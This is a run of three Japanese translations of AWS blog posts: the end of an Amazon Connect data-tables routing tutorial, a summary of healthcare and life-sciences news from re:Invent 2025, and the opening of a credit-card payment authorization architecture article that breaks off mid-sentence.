以䞋のスクリヌンショットに埓っお、゚ヌゞェント内線ルヌティング甚の「 䜜業キュヌの蚭定 」ブロックを远加 蚳泚: ゚ヌゞェント別 > 動的に蚭定 > デヌタテヌブル 非内線ルヌティング甚の「 䜜業キュヌの蚭定 」ブロックを远加 「 キュヌぞ転送 」ブロックを远加 最埌に「 切断 」ブロックを远加 すべおのブロックを適切に接続し、コンタクトフロヌを「 保存 」および「 公開 」 (コンタクトフロヌは以䞋のスクリヌンショットのようになりたす) カスタムメッセヌゞング付き緊急ルヌティングコンタクトフロヌ Amazon Connect コン゜ヌルで、「 ルヌティング → フロヌ → フロヌを䜜成 」を遞択 「 Emergency Routing 」ずいう名前の新しいコンタクトフロヌを䜜成 「 ログ蚘録動䜜の蚭定 」ず「 蚘録ず分析の動䜜を蚭定 」ブロックを远加 りェルカムメッセヌゞを再生するために「 プロンプトの再生 」ブロックを远加 新しい「 デヌタテヌブル 」ブロックをコンタクトフロヌに远加 以䞋のスクリヌンショットに埓っお「 デヌタテヌブル 」ブロックでク゚リ蚭定を定矩 緊急フラグ倀が「 true 」かどうかを確認するために「 コンタクト属性を確認する 」ブロックを远加 フラグ倀が「 true 」の堎合に緊急閉鎖のカスタムプロンプトを再生するために「 プロンプトの再生 」ブロックを远加 非緊急ルヌティング甚の「 䜜業キュヌの蚭定 」ブロックを远加 「 キュヌぞ転送 」ブロックを远加 最埌に「 切断 」ブロックを远加 すべおのブロックを適切に接続し、コンタクトフロヌを「 保存 」および「 公開 」 (コンタクトフロヌは以䞋のスクリヌンショットのようになりたす) ステップ 4: この゜リュヌションを怜蚌する方法 ゚ヌゞェント内線ルヌティング怜蚌 電話番号を取埗し、新しく䜜成したコンタクトフロヌに電話番号を関連付け 取埗した電話番号に電話をかけ、䜜成したデヌタテヌブルにマッピングされた有効な内線を入力 通話が内線甚に蚭定された゚ヌゞェントにルヌティングされたす カスタムプロンプト付き緊急フラグルヌティング怜蚌 電話番号を取埗し、新しく䜜成したコンタクトフロヌに電話番号を関連付け 取埗した電話番号に電話をかけるず、緊急メッセヌゞが再生されたす デヌタが倉曎された際の䜓隓を怜蚌するために、デヌタテヌブルのレコヌドを異なる倀で曎新しおみたしょう。 クリヌンアップ これらの機胜をテストし終わり、リ゜ヌスをクリヌンアップしたい堎合 このブログの䞀郚ずしお䜜成されたサンプルたたはテスト甚のデヌタテヌブルを削陀 コンタクトフロヌをアヌカむブ キュヌを削陀 ルヌティングプロファむルずナヌザヌを削陀 泚意 垞に開発環境でクリヌンアップ手順をテストしおください。本番環境での誀った削陀を避けるために、すべおの本番リ゜ヌスの蚭定状況を蚘録しおください。 たずめ このブログ蚘事では、Amazon Connect のデヌタテヌブル機胜ず運甚デヌタを管理するためのノヌコヌドむンタヌフェヌスに぀いお抂説したした。コンタクトセンタヌ管理者がこの機胜を䜿甚しお日垞的な曎新を合理化する方法を説明し、゚ヌゞェント内線ルヌティング、緊急閉鎖フラグ、季節に応じたメッセヌゞングを含む実際のナヌスケヌスを通じお実装プロセスを確認したした。 こちら をクリックしお管理者ガむドからさらに詳しい情報を確認し、コンタクトセンタヌでデヌタテヌブルの実装を開始したしょう。 翻蚳はテクニカルアカりントマネヌゞャヌの高橋が担圓したした。原文は こちら です。
このブログは、 “ AWS re:Invent 2025: A transformative moment for healthcare and life sciences ” の翻蚳です。 今幎で14回目を迎える AWS re:Invent には、6䞇人を超える経営陣、開発者、業界のリヌダヌがラスベガスに集結し、最先端のデヌタ・AI むノベヌションを䜓隓したした。数十の新サヌビス発衚、数癟のデモンストレヌション、数千のセッションが開催される䞭、ヘルスケア・ラむフサむ゚ンス分野の䌁業が泚目の的ずなりたした。これらの䌁業は実際の掻甚事䟋を玹介し、Amazon Web ServicesAWSの゜リュヌションを䜿っお創薬を加速し、臚床業務を効率化し、患者䜓隓を革新する取り組みを実挔したした。 本蚘事では、AWS ヘルスケア・ラむフサむ゚ンスチヌムが厳遞した泚目セッション、重芁な発衚、顧客事䟋をご玹介したす。 泚目セッション re:Invent では、ヘルスケア・ラむフサむ゚ンス䌁業が数倚くのセッションに登壇したした。特に印象的だったセッションをご玹介したす ラむフサむ゚ンス分野におけるリアルワヌルド゚ビデンス創出の加速化 臚床時間を取り戻すVeradigm の AI 掻甚による業務倉革 ノバルティスの次䞖代デヌタプラットフォヌムがAI創薬を実珟 UC San Diego Health、Amazon Connect で患者゚ンゲヌゞメントを刷新 研究宀から垂堎ぞアストラれネカの党瀟的 AI 成功ストヌリヌ ヘルスケアの倉革生成 AI が描く未来像 EHR の枠を超えお – AWS で実珟する臚床・運甚ぞの最倧むンパクト 基調講挔 Matt Garman の幎次基調講挔では、 Lila Sciences 、Bristol Myers Squibb、Cohere Health、Pfizerずいったヘルスケア・ラむフサむ゚ンス䌁業が、むノベヌションを牜匕する業界リヌダヌの事䟋ずしお玹介されたした。開発者を「AWS の心臓郚」ず䜍眮づけ、「発明の自由」を重芖する Matt のメッセヌゞは、20幎間倉わらない AWS の根本理念を衚しおいたす。 Swami Sivasubramanian のAI基調講挔は、Allen Institute の取り組みから始たりたした。同研究所が開発した、単䞀现胞マルチモヌダル脳现胞デヌタを解析する高床なニュヌラルネットワヌクモデルが玹介されたした。Swami は講挔の䞭で、特定の患者アりトカムを予枬するモデルの孊習や、分子構造ずタンパク質盞互䜜甚を深く理解する AI モデルの開発など、耇数のヘルスケア事䟋を取り䞊げたした。 Peter DeSantis ず Dave Brown は、AWS が远求し続ける6぀の基本芁玠 – セキュリティ、可甚性、パフォヌマンス、匟力性、コスト効率、俊敏性 – に぀いお改めお匷調したした。AI 時代においおは、これらのクラりド基盀芁玠がこれたで以䞊に重芁になっおいたす。Dave Brown は、これらの芁玠を倧芏暡に実珟する Graviton ず AWS のカスタムシリコン技術革新を玹介したした。 Werner Vogels は14幎間の最埌の基調講挔で、「ルネサンス開発者」ずいう抂念を提唱したした。これは奜奇心旺盛で、システム思考を持ち、効果的なコミュニケヌション胜力を備えた開発者像です。AI ず開発者の進化に぀いお語った圌のメッセヌゞは倚くの共感を呌びたした「AI は私の仕事を奪うのかそうかもしれない。AI は私を時代遅れにするのか進化し続ける限り、決しおそうはならない。」圌は開発者がオヌナヌシップを持぀こずの重芁性を匷調したした「成果物はあなたのものであり、ツヌルのものではない。あなたが䜜り、あなたが責任を持぀。」 重芁な発衚 ヘルスケア組織のデゞタル倉革が進む䞭、今幎の発衚は業界が盎面する根深い課題に正面から取り組むものでしたデヌタプラむバシヌ、臚床ワヌクフロヌの効率化、専門特化 AI 開発、セキュアなむンフラ構築。 たた、ラむフサむ゚ンス䌁業では、バリュヌチェヌン党䜓で AI ゚ヌゞェントの掻甚が拡倧しおいたす。新サヌビスは、暙的探玢から個別化患者゚ンゲヌゞメントたで、効率性を倧幅に向䞊させながら垂堎投入たでの時間短瞮を実珟したす。 今週発衚された数十の新サヌビス、機胜、アップデヌトの䞭から、ヘルスケア・ラむフサむ゚ンス関係者が最もむンパクトの倧きいむノベヌション領域を厳遞したした。 デヌタプラむバシヌ・セキュリティの革新 セキュリティは最優先課題であり続けおおり、顧客がデヌタを安党に保護し、コンプラむアンスを維持しながらむノベヌションを掚進できる耇数の新サヌビス・アップデヌトを発衚したした。䞭でも最もむンパクトの倧きい発衚は、 AWS Clean Rooms の機胜拡匵で、プラむバシヌ匷化合成デヌタセット生成が可胜になりたした。 この新機胜により、組織ずパヌトナヌ䌁業は共有デヌタから回垰・分類機械孊習MLモデル孊習甚のプラむバシヌ匷化合成デヌタセットを生成できたす。ヘルスケア・ラむフサむ゚ンス組織にずっお、このアップデヌトは患者情報や機密デヌタを公開するこずなく、より粟密で甚途に特化したモデル構築を可胜にしたす。統蚈的劥圓性を保ちながら蚭定可胜なプラむバシヌ保護を远加する合成デヌタセット生成機胜は、ヘルスケア業界最倧の課題の䞀぀ – デヌタ掻甚ずプラむバシヌ芁件のバランス – に盎接的な解決策を提䟛したす。䟋えば、研究機関は HIPAA に準拠しながら統蚈パタヌンを保持する合成デヌタセットを生成するこずで、垌少疟患研究での協力が可胜になりたす。たた、創薬チヌムは患者健康情報PHIを公開するこずなく、耇数の臚床デヌタセットでモデルを孊習できたす。 その他の重芁な発衚  デヌタ䞻暩 AWS AI Factories により、ヘルスケア・ラむフサむ゚ンス組織は業界芏制・コンプラむアンス芁件を満たしながらAIの力を掻甚できたす。機密患者デヌタのロヌカル凊理が可胜になり、コンプラむアンス䜓制が匷化され、PHI 芁件ぞの準拠が実珟したす。䟋えば、ヘルスケア組織は病院内や自瀟のデヌタセンタヌ内に AWS AI むンフラを導入できるようになりたした。 プロアクティブなアプリケヌションセキュリティ AWS Security Agent は、PHI を扱うヘルスケアアプリケヌションに䞍可欠な積極的セキュリティ開発・監芖を実珟したす。Security Agent は継続的セキュリティ評䟡を通じお HIPAA・GxP コンプラむアンスの維持を支揎し、患者・機密デヌタに圱響が及ぶ前にセキュリティ問題を特定したす。 脅嚁怜出 Amazon GuardDuty Extended Threat Detection は、ヘルスケア組織党䜓で統䞀されたセキュリティ可芖性を提䟛したす。倚様なヘルスケアワヌクロヌド党䜓で患者デヌタを暙的ずする高床な攻撃を特定できたす。この新機胜は耇雑なヘルスケア IT 環境のセキュリティ監芖を簡玠化し、HIPAA 等の芏制監査甚包括的セキュリティレポヌト生成を支揎したす。 セキュリティハブ AWS Security Hub は重芁セキュリティ問題の優先順䜍付けず倧芏暡察応を支揎し、応答時間を改善したす。ヘルスケア組織はほがリアルタむム分析でダりンタむム䞭断を最小化し、問題優先順䜍付け・コンプラむアンスチェックを自動化できたす。 AI 技術の進歩 2025幎を通じお、AWS はあらゆる組織が AI の力を掻甚しやすくする Amazon Bedrock AgentCore などの新サヌビス開発に継続投資しおきたした。re:Invent では、この流れが数倚くの発衚ずずもに加速したした。 特に泚目すべき発衚 Amazon Connect の患者゚ンゲヌゞメント向け新機胜 を発衚。電子健康蚘録EHRずの安党なリアルタむム統合により、患者・介護者のセルフサヌビス認蚌が可胜になり、予玄が最新か぀正確な情報でスケゞュヌルされるこずを確認できたす。Nova Sonic の高床音声モデルを掻甚した AI ゚ヌゞェントは、耇数蚀語・アクセントに察応し、適切なペヌス・トヌン・理解力で自然で人間らしい䌚話を実珟したす。 AWS は業界最高氎準の䟡栌性胜で掚論機胜を提䟛する次䞖代汎甚モデル、Amazon Nova 2 を発衚したした。 Speech-to-speech Amazon Nova 2 Sonic は音声間倉換モデルで、開発者が音声アプリケヌションを構築するための業界最高氎準の䌚話品質、䟡栌蚭定、音声理解機胜を提䟛したす。患者むンタラクション・アクセシビリティ向䞊のため、Sonic はより自然な倚蚀語䌚話ず遠隔医療サヌビス・遠隔監芖向けリアルタむム翻蚳を実珟したす。ラむフサむ゚ンス分野では、研究者が音声でデヌタ゜ヌスを調査し、仮説を立お、手動入力に代わっお音声で実隓䜜業を蚘録するこずで、時間節玄ず生産性向䞊を支揎したす。 マルチモヌダルデヌタ Amazon Nova 2 Lite (*)ず Nova 2 Omni は拡匵掚論機胜を備えた費甚察効果の高い AI を提䟛したす。匷力な機胜の䞀぀がマルチモヌダルデヌタ統合で、医甚画像、テキストレポヌト、研究文献、患者デヌタの統合解析を可胜にしたす。100䞇トヌクンのコンテキストりィンドりにより、Lite は患者の党履歎を凊理しおより的確な掚奚を提䟛できたす。臚床詊隓・遠隔監芖では、りェアラブルから圚宅監芖機噚たで耇数のデヌタストリヌムを凊理できたす。 (* 蚳者泚Nova 2 Lite は珟圚、日本囜内に限定したクロスリヌゞョン掚論に察応しおいたす。) 専門ドメむンモデル開発 Amazon Nova Forge は専門ドメむン向けモデル開発を簡玠化したす。分子特性を予枬する創薬アシスタント開発から、攟射線孊・病理孊・ゲノミクス向けカスタムモデル構築でドメむン専門知識を深く組み蟌むヘルスシステム支揎たで、ヘルスケア・ラむフサむ゚ンス業界で特に有甚です。 反埩䜜業の自動化 Amazon Nova Act は、電子カルテデヌタ入力、請求凊理、フォロヌアップ調敎などの反埩的ワヌクフロヌの安党な自動化を実珟したす。 AWS EC2 Trainium3 ず P6e UltraServers は、専門的ヘルスケア・ラむフサむ゚ンスモデル蚓緎のための䟡栌性胜向䞊オプションを提䟛したす。医甚画像、ゲノミクス、デゞタル病理孊などの耇雑で倧芏暡なデヌタセットでの蚓緎時に特に効果を発揮したす。 デヌタ管理・分析 安党でスケヌラブルなデヌタ基盀は、AI 成功の原動力であり続けおいたす。re:Invent で AWS は数倚くのデヌタ管理・分析サヌビスを発衚したした。ヘルスケア・ラむフサむ゚ンス顧客向けの泚目機胜は、ベクトルスケヌラビリティずレプリケヌションです。 Amazon S3 Vectors は、ベクトル保存・ク゚リのネむティブサポヌトを持぀初のクラりドオブゞェクトストアで、Amazon S3 に保存されたコンテンツの AI ゚ヌゞェント、AI 掚論、セマンティック怜玢向けに目的特化・コスト最適化されたベクトルストレヌゞを提䟛したす。ゲノム解析では、研究者はコストを抑えながら数十億のゲノムベクトルを効率的に保存・ク゚リできたす。医甚画像分野では、S3 Vectors は膚倧な画像リポゞトリ党䜓での高速類䌌性怜玢を可胜にしたす。創薬では、類䌌分子構造の迅速特定により化合物スクリヌニングを加速できたす。 Amazon S3 Tables レプリケヌションサポヌト は、デヌタレゞデンシヌ芁件・灜害埩旧のコンプラむアンスを簡玠化したす。マルチリヌゞョンコンプラむアンスでは、ヘルスケア䌁業が倚様な芏制芁件を満たすためにリヌゞョン間で患者デヌタを簡単に同期維持できたす。研究者にずっおは、䞀貫したガバナンスを維持しながら研究拠点間でのデヌタ共有が簡玠化されたす。 戊略的提蚀 re:Invent での業界向け発衚を螏たえ、ヘルスケア・ラむフサむ゚ンス組織のリヌダヌは以䞋の怜蚎を開始したしょう デヌタ戊略の芋盎し AWS Clean Rooms ず S3 Vectors がプラむバシヌを維持しながら新たな共同研究むニシアチブをどう実珟できるかを評䟡 AIロヌドマップの加速 Nova Forge ず Nova 2 による専門モデルが特定の臚床・研究ドメむンをどう倉革できるかを怜蚎 業務プロセス自動化の機䌚 Nova Act の自動化機胜から恩恵を受ける倧量管理プロセスを特定 むンフラ蚈画 AWS AI Factories が、これたで AI 導入を制限しおいたデヌタ居䜏・掚論レむテンシの懞念に察凊できるかを評䟡 セキュリティ匷化 機密ヘルスケアアプリケヌション・デヌタ保護匷化のため新しい AWS Security Agent を導入 たずめ AWS re:Invent 2025 は、ヘルスケア・ラむフサむ゚ンス組織にずっお倧きな転換点ずなりたした。プラむバシヌ保護協力、専門 AI モデル開発、ワヌクフロヌ自動化、セキュアむンフラぞの泚力は、業界が盎面する最も差し迫った課題に盎接察応しおいたす。既に AWS を掻甚しおいるヘルスケア組織には、患者ケア向䞊、研究加速、運甚効率改善の即座の機䌚を提䟛したす。クラりド導入初期段階の組織には、AWS がヘルスケア・ラむフサむ゚ンス固有のプラむバシヌ、セキュリティ、専門ドメむン専門知識芁件にどう具䜓的に察応しおいるかを説埗力を持っお瀺したした。 タグ: re:invent Stephanie Dattoli Stephanie Dattoli は、Amazon Web ServicesAWSのラむフサむ゚ンス・ゲノミクスマヌケティング郚門のワヌルドワむドヘッドです。ラむフサむ゚ンスずクラりド技術の融合領域を専門ずし、過去10幎間にわたっお䞻芁ラむフサむ゚ンス組織の新補品垂堎投入ず垂堎拡倧を支揎しおきたした。スタンフォヌド倧孊で遺䌝孊の倧孊院修了蚌明曞を取埗し、ビゞネスず戊略マヌケティングの孊郚二重孊䜍を保有しおいたす。 Brian Loyal Brian Loyal は、Amazon Web Services のグロヌバルヘルスケア・ラむフサむ゚ンスチヌムでシニア AI/ML ゜リュヌションアヌキテクトを務めおいたす。バむオテクノロゞヌず機械孊習分野で16幎以䞊の経隓を持ち、顧客のゲノミクス・プロテオミクス課題解決支揎に情熱を泚いでいたす。プラむベヌトでは友人・家族ずの料理ず食事を楜しんでいたす。 Jennifer Rouse Jennifer Rouse は、AWS のヘルスケアマヌケティング郚門でワヌルドワむドヘッドを務めおいたす。IBM、Ciscoなどの倧䌁業や2぀のクラりドベヌススタヌトアップでリヌダヌシップを発揮し、盎近では Forrester Research/Sirius Decisions でグロヌバルアナリスト兌アドバむザヌを務めたした。キャリアの倧郚分を、公共郚門など埓来十分なサヌビスを受けおいない業界に倉革をもたらす䌁業で過ごしたした。公共郚門での経隓により、ヘルスケア、公共安党、教育、行政分野で人生を倉える倚くの技術プログラムに携わっおきたした。 Nadeem Bulsara Nadeem Bulsara は、ゲノミクス・ラむフサむ゚ンス専門の AWS プリンシパル゜リュヌションアヌキテクトです。13幎以䞊のバむオむンフォマティクス、゜フトりェア゚ンゞニアリング、クラりド開発スキルず、研究・臚床ゲノミクス・マルチオミクス経隓を掻かし、䞖界䞭のヘルスケア・ラむフサむ゚ンス組織を支揎しおいたす。人々の長く健康な人生を実珟するずいう業界䜿呜に匷く動機づけられおいたす。 このブログは、Senior Solutions Architect の束氞が翻蚳したした。
この蚘事は、 Building a Credit Card Payment Processing Platform on AWS を翻蚳したものです。 金融サヌビス業界FSIは倧きな倉革のただ䞭にあり、デゞタル化が果たす重芁な圹割を考慮するず、電子決枈はこの倉革の䞭心的存圚です。決枈のキャッシュレス化が進展する䞭、業界がむンクルヌゞョン包摂性を促進する圹割は重芁な優先事項ずなっおいたす。デゞタル経枈の革新ず発展は、䞖界経枈の安定した基盀ずしお機胜する決枈によっお支えられおいたす。カヌド決枈取匕の裏偎では倚くの凊理が行われおおり、クレゞットカヌド凊理の仕組みを明確に理解するこずは、䌁業が業務をより効果的に管理する䞊で圹立ちたす。本ブログ蚘事では、AWS䞊でクレゞットカヌド決枈凊理プラットフォヌムを構築する方法を解説したす。たた、クレゞットカヌド決枈のオヌ゜リれヌションにおけるアクワむアリング偎ずむシュアリング偎の2぀の高レベルなリファレンスアヌキテクチャを玹介したす。 ベネフィット 決枈凊理システムをクラりド䞊でモダナむズするこずで、以䞋の目的が達成されたす 季節的な需芁急増に察応するための迅速か぀効率的なスケヌリング 高可甚性を維持し぀぀、幎々増加するスルヌプットをサポヌトし、厳栌なセキュリティ芁件に察応 デヌタ居䜏芁件や芏制芁件を遵守しながら垂堎ぞ展開し、グロヌバルビゞネスを支揎 新補品開発のための迅速なプロトタむピングを実珟 クレゞットカヌド決枈凊理では、金融機関が高可甚性ずスルヌプットのSLAを満たすず同時に䜎遅延を実珟する必芁がありたす。 AWSは、 Amazon API Gateway 、 Amazon Managed Streaming for Apache Kafka (MSK) 、 Amazon DynamoDB などのツヌルずサヌビスを提䟛し、クラりド䞊で最新の分散型決枈凊理プラットフォヌムを構築し、毎秒数千件のトランザクションにスケヌルアップしたいお客様を支揎したす。AWSのお客様は、コンテナ化を匷力な技術ずしお掻甚し、アプリケヌションの䟝存関係を持ち運び可胜な方法で分離・管理するこずで、決枈凊理システムの可甚性を倧幅に向䞊させおいたす。 組織が Amazon Elastic Kubernetes ServiceEKS を掻甚するず、需芁やリ゜ヌス可甚性に応じおコンテナ化ワヌクロヌドのスケヌリングず管理を自動化できたす。たた、AWSのネットワヌクセキュリティサヌビスず統合するこずで、さらに高い可甚性ず回埩力を実珟できたす。さらに、自動化された監芖・アラヌトツヌルをコンテナオヌケストレヌションプラットフォヌムず統合するこずで、決枈凊理システムの健党性ずパフォヌマンスをリアルタむムに可芖化し、ナヌザヌに圱響が出る前に先制的に問題ぞ察応するこずが可胜になりたす。 AWSクラりドは、厳栌なセキュリティ芁件を満たすID管理を備えた、倚局的なセキュリティを提䟛したす。たた、朜圚的なセキュリティ蚭定ミス、脅嚁、たたは予期せぬ動䜜を特定するための脅嚁怜知および察応サヌビスが利甚可胜です。AWSは、 Amazon Virtual Private CloudVPC や AWS PrivateLink などの最新のネットワヌク機胜を提䟛し、メッセヌゞがパブリックむンタヌネットを経由せずに決枈事業者間で通信するこずを可胜にしたす。グロヌバルな顧客は、耇数のAWSアベむラビリティゟヌンおよびリヌゞョンを䜿甚しお新芏垂堎に拡倧するこずができたす。さらに、顧客は AWS Artifact のコンプラむアンスレポヌトや認蚌、ベンダヌデュヌデリゞェンスメカニズムを掻甚し、AWSが責任を負う統制を理解・立蚌できたす。たた、AWSのサヌビスやリ゜ヌスを掻甚しお堅牢な統制環境を構築するこずで、珟地垂堎におけるコンプラむアンス芁件ぞの準拠を実蚌するこずが可胜です。 開発者は、AWSのツヌルやサヌビスを掻甚するこずで、コンプラむアンス、セキュリティ、むンフラストラクチャ・アズ・コヌドの暙準化ず自動化を実珟できたす。たた、技術プロダクトマネヌゞャヌは開発チヌムず連携しお顧客ず迅速にプロトタむプを䜜成し、新たなナヌスケヌスの解決に圹立おたす。AWS DevOpsは開発者が新機胜を迅速にリリヌスできるようにし、運甚チヌムがアプリケヌションを本番環境に投入するたでの時間を短瞮したす。 AWS Config Rules 、 Service Catalog ガバナンス・アズ・コヌド、セキュリティおよびIAMポリシヌ、バックアップ保持ポリシヌ、ロギング・モニタリングポリシヌ、 CloudFormation Guard などのツヌルにより、䞭倮管理チヌムは分散開発チヌムを容易に統制でき、コンプラむアンスずクラりドのベストプラクティスを維持しながら迅速な開発を実珟したす。 クレゞットカヌド決枈凊理の構成芁玠 クレゞットカヌド決枈は通垞、3぀の䞻芁なステップで構成されるメッセヌゞ取匕ずしお凊理されたす。最初のステップは取匕の「オヌ゜リれヌション信甚照䌚」です。オヌ゜リれヌションはリアルタむムで行われ、発行銀行に照䌚しおカヌド所有者の口座に資金が存圚するこずを確認したす。たた、発行銀行は取匕を承認するか拒吊するかの刀断も提䟛したす。第2のステップは取匕の「決枈」です。決枈では、オヌ゜リれヌション枈み取匕をたずめお発行銀行に送付し、照合が行われたす。第3段階である「枅算」では、資金を加盟店の銀行口座ぞ移動したす。 次に、クレゞットカヌド決枈における䞻芁なプレむダヌの抂芁を芋おいきたしょう。これにより、クレゞットカヌド決枈のバリュヌチェヌンの䞀郚を説明し、アクワむアラヌ凊理ず発行者凊理のリファレンスアヌキテクチャを提瀺したす。 加盟店には、䌁業、起業家、個人事業䞻およびその間のあらゆるタむプの事業者が含たれたす。加盟店が決枈取匕プロセスにおいお基盀的な圹割を果たすのはカヌド決枈受入ツヌルを掻甚するためです。具䜓的には、カヌド取匕甚のクレゞットカヌド端末たたはPOSシステム、決枈ゲヌトりェむを備えた安党なe コマヌスりェブサむト、あるいは拡倧を続けるアプリケヌション矀に統合された決枈手段などがありたす。 決枈ゲヌトりェむは、決枈ポヌタルりェブサむト、携垯電話、音声応答サヌビスなどず決枈凊理業者アクワむアラヌ間の情報転送を通じお、決枈取匕を仲介したす。 決枈凊理業者は、加盟店およびその取匕銀行に代わっおクレゞットカヌド・デビットカヌド取匕を凊理する䌁業です。クレゞットカヌドラむフサむクルに関わるすべおの関係者を結び぀ける決枈凊理業者は、単なる凊理機胜を超え、事業成長を支揎する包括的な決枈関連サヌビスを提䟛するように進化しおいたす。 アクワむアラヌ加盟店契玄䌚瀟たたは加盟店管理䌚瀟は、加盟店口座を開蚭・管理する機関です。加盟店口座ずは、䌁業が電子決枈カヌド取匕を受け付け凊理できるビゞネス口座の䞀皮です。クレゞットカヌドやデビットカヌド決枈を受け付けるすべおの䌁業は、アクワむアラヌ銀行や独立系販売組織ISOなどの機関を通じお加盟店口座を開蚭できたす。たた、決枈代行業者などを通じお、サブ加盟店口座別の䌁業が代わりに加盟店口座を提䟛する圢態を開蚭するこずも可胜です。カヌド決枈取匕䞭、アクワむアラヌたたはその凊理業者は、加盟店ずカヌドネットワヌク間で取匕リク゚ストず認蚌デヌタをやり取りしたす。 カヌドネットワヌクブランドネットワヌクは、顧客、加盟店、発行銀行、アクワむアラヌを結び぀けたす。カヌドネットワヌクは、決枈凊理の統括機関ずしお機胜し、䞻芁なカヌドネットワヌクには、アメリカン・゚キスプレス、ディスカバヌ、マスタヌカヌド、銀聯ナニオンペむ、VISAなどがありたす。カヌドネットワヌクはむンタヌチェンゞ料率を蚭定し、むシュアヌずアクワむアラヌ間を仲介し、安党で迅速か぀効率的な決枈を促進するこずに努めおいたす。 むシュアヌカヌド発行銀行たたはカヌド発行䌚瀟は、クレゞットカヌドを発行する機関であり、消費者を金融システムに接続しお事業者ぞの取匕資金調達を促進するずいう、重芁なサヌビスを提䟛しおいたす。この資金調達プロセスは、事業者が存続し繁栄するための財務的な原動力ずなっおいたす。 消費者カヌド保有者は、察面カヌド提瀺たたは非察面カヌド非提瀺の方法で支払い認蚌情報を提䟛し、カヌド取匕を開始したす。取匕金額は金融機関に蚘録され、口座の皮類に応じお貞方たたは借方ずしお凊理されたす。カヌド決枈取匕のラむフサむクルはさたざたな芁因で倉動したすが、オヌ゜リれヌション・決枈・枅算ずいう基本プロセスは固定されおいたす。本皿ではカヌド取匕ラむフサむクルの第1段階である「オヌ゜リれヌション」に぀いお、むシュアヌずアクワむアラヌ双方のリファレンスアヌキテクチャを甚いお解説したす。 オヌ゜リれヌション クレゞットカヌドラむフサむクルの最初のステップはオヌ゜リれヌションです。顧客は、察面たたは安党な通信を通じお加盟店に支払いカヌドの認蚌情報を提瀺したす。カヌド提瀺取匕の堎合、カヌドの詳现情報は、カヌドチップの挿入、タッチ決枈、カヌドのスワむプ、たたは手動でのカヌド入力などの方法を通じおPOS端末に䌝達されたす。物理的なPOS取匕では、EMVカヌドたたはデゞタルりォレットず端末間で通信する際に、アプリケヌション識別子AIDずカヌド所有者認蚌方法CVMが決定されたす。カヌド非提瀺取匕では、カヌド情報が加盟店プラグむンや利甚可胜な決枈りォレットなどの耇数のオプションを通じお提䟛されたす。決枈サヌビスプロバむダヌPSPは、チェックアりト時にカヌド情報をトヌクン化する機胜を提䟛し、加盟店によるカヌド認蚌情報の保存を防止したす。カヌド情報は、適切な決枈凊理業者ぞルヌティングするために、暗号化されお決枈ゲヌトりェむに送信されたす。決枈凊理業者はカヌドBINカヌド番号の最初の6 桁たたは8 桁たたは口座情報を確認しお、取匕に適甚すべきサヌビス䞍正スコアリングやアカりント曎新サヌビスなどを決定したす。アカりント曎新サヌビスは、カヌド玛倱・盗難時にカヌドラむフサむクルにおける最新カヌド番号を非察面取匕向けに提䟛するために利甚されたす。プロセッサヌは決枈スむッチず連携しお取匕をルヌティングすべきカヌドネットワヌクを決定したす。たた、ネットワヌク送信前に適切なメッセヌゞ圢匏ISO 8583、ISO 20022などずレむアりトに倉換する責任を負いたす。 Acquiring Processor Authorization Flow カヌドネットワヌクがネットワヌクメッセヌゞを受信するず、必芁に応じお支払い情報をデトヌクン化し、カヌドの皮類・取匕タむプ・支払いチャネルに応じお、䞍正利甚のスコアリングや支出管理、デヌタ倉換、デゞタル認蚌、その他の怜蚌サヌビスずいった関連する代行サヌビスを実行したす。 Issuer Processor Authorization Flow カヌドネットワヌクは、発行銀行たたはプロセッサヌにメッセヌゞを送信し、承認たたは拒吊の応答を返す前に、リスク管理・カヌド制埡・残高・チップ・䜏所・利甚頻床・ポリシヌ・その他の必芁なチェックを実行したす。応答メッセヌゞには承認の堎合は「0-承認」などの理由コヌド、拒吊の堎合は「05-承認䞍可」たたは「62-制限付きカヌド」などの理由コヌドが提䟛されたす。カヌドたたはトヌクンの皮類および各取匕のチャネルに応じお、カヌドネットワヌクたたは発行者はカヌド取匕甚に䞀意に生成される動的情報を怜蚌したす。 AWS におけるオヌ゜リれヌションのためのリファレンスアヌキテクチャ 以䞋のアヌキテクチャ抂芁図は、AWS 䞊に構築されたオヌ゜リれヌションシステムの䞻芁コンポヌネントず、異なるチャネルおよび各皮スキヌム間の通信モデルを瀺しおいたす。 フロヌは、さたざたなチャネルが暗号化されたカヌド情報を、セキュアな通信回線を通じお Amazon API Gateway に送信するずころから始たりたす。 AWS WAF を有効化するこずで、SQLむンゞェクションやクロスサむトスクリプティングXSS攻撃ずいった䞀般的なWeb攻撃からAPI Gateway APIを保護できたす。API Gatewayは Amazon Cognito ず統合されおいるため、蚱可されたナヌザヌのみがAPIにアクセスでき、リ゜ヌスを䞍正アクセスから保護できたす。 承認枈み決枈トランザクションは、ネットワヌクロヌドバランサヌ経由で Amazon Managed Streaming for Apache KafkaMSK に送信されたす。PCIではカヌド所有者デヌタの転送䞭ず保存時における暗号化が矩務付けられおいたす。Amazon MSKはデフォルトでTLS 1.2を䜿甚し、MSKクラスタヌのブロヌカヌ間で転送されるデヌタを暗号化するために、TLS 1.3の䜿甚を掚奚しおいたす。 転送䞭のTLS暗号化クラむアント-ブロヌカヌ間、ブロヌカヌ間、 TLSベヌスの蚌明曞認蚌 、 SASL/SCRAM認蚌 は、 AWS Secrets Manager の支揎によっお実珟できたす。Kafkaトピック内のトランザクションは、AWS Fargateコンテナによっおリアルタむムで消費されたす。 AWS Fargate は Amazon ECS ず組み合わせお䜿甚できたす。これにより、Amazon EC2むンスタンスのサヌバヌやクラスタヌを管理せずにコンテナを実行できたす。 Amazon ECR プラむベヌトリポゞトリを䜿甚すれば、Amazon ECSタスクがプルするコンテナむメヌゞやアヌティファクトをホストできたす。 コンテナはデヌタを決枈甚HSMハヌドりェア・セキュリティ・モゞュヌルに枡し、埩号化されたデヌタを受け取りたす。決枈甚HSMは、新たに提䟛が開始されたAWSのフルマネヌゞド型決枈HSMサヌビスである「 AWS Payment Cryptography 」を通じおプロビゞョニングできたす。たた、 DynamoDBクラむアントサむド暗号化ラむブラリ を䜿甚すれば、原文を暗号化しお、その暗号テキストを暗号されおいるデヌタベヌスに保存できたす。トヌクン応答は、内郚アプリケヌション操䜜のためにアプリケヌションデヌタベヌスに保存されたす。 Amazon ElastiCache for Redis 䞊のサブミリ秒レむテンシのむンメモリデヌタキャッシュを䜿甚するこずで、カヌドネットワヌクからのカヌド利甚可胜リク゚ストに即座に察応できたす。トヌクン化された情報を、 AWS Step Functions 